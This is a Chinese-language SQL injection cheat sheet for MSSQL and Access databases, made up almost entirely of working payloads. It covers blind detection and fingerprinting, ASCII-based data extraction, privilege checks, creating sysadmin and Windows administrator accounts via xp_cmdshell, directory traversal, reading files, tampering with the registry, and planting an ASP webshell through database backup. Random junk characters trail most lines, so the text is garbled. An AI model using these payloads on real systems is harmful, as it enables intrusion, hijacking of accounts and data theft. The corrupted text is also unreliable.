1.判断是否有注入;and 1=1 ;and 1=2 m$T?~oo
2.初步判断是否是mssql ;and user>0 $=>(7 =l_
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3.注入参数是字符'and [查询条件] and ''=' Y{].%xM5
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' yY,O=yOjq
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5.判断数据库系统 H*#L~!]
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;and (select count(*) from sysobjects)>0 mssql Qo*,2B9R L
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;and (select count(*) from msysobjects)>0 access ]+1?T)<!
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 2o0.ttBAqZ
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 aGK =VN}r
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ML6V,V/e
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9.(1)猜字段的ascii值(access) K6#9HF'2I
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 N3P!<J/tc
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(2)猜字段的ascii值(mssql) x+j5vzhG)
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ->DfT*)
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10.测试权限结构(mssql) y %dUry%>
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Lod$&k@@
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9N(<OY+Dgm
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- L8<Yk`jx
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- [aM_.[bf
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- \cq
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;and 1=(select IS_MEMBER('db_owner'));-- iz'#K?PF_
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11.添加mssql和系统的帐户 ei 1(A
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;exec master.dbo.sp_addlogin username;-- )^+v*=Dc-i
;exec master.dbo.sp_password null,username,password;-- '}a[9v76
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ny:c&XS
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;exec master.dbo.xp_cmdshell 'net user username password ".&x`C
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- qzv$E;zAl
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- uq;,h46ki
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 76[O3%
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12.(1)遍历目录 lf3:Z5*&>
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;create table dirs(paths varchar(100), id int) !:Lb^C;/
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;insert dirs exec master.dbo.xp_dirtree 'c:\' uMm/$#E
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;and (select top 1 paths from dirs)>0 jEBZ"Jvb
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 1gp3A
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(2)遍历目录 7&G[mOx0
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- c1j)
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 /ZAS%_as
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Gy36{*
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 5q[0;`J
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2Up1
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13.mssql中的存储过程 O~F/pJN`
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xp_regenumvalues 注册表根键, 子键 z^
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4VE7%.z+
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xp_regread 根键,子键,键值名 <a *X&P
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;exec xp_regread wC@5[e$
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 +r)'?zU
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xp_regwrite 根键,子键, 值名, 值类型, 值 ToIvyeFr
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 CQfrAk4mu
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6L~@jg~0A[
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xp_regdeletevalue 根键,子键,值名 *a Y`[,4#$
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 c8mcJAc
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $NP5Z0v7
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14.mssql的backup创建webshell ug!DL=ZW
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use model }x4,a6^
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create table cmd(str image); -}k'a{sj=
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insert into cmd(str) values (''); 0j%@P[zQ
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backup database model to disk='c:\l.asp'; LH..8nfl
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) F 6#n&2
15.mssql内置函数 N m-{$U
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;and (select @@version)>0 获得Windows的版本号 D1bS=>
;,"
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa U:>'^tkp
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;and (select user_name())>0 爆当前系统的连接用户 N!DAn\g
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;and (select db_name())>0 得到当前连接的数据库 l5S(xQ
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16.简洁的webshell N)A?*s'v~
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use model 9@C3jZ+9`H
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create table cmd(str image); ''!pvxA
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insert into cmd(str) values (''); 5=Mm=HyI2
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backup database model to disk='g:\wwwtest\l.asp';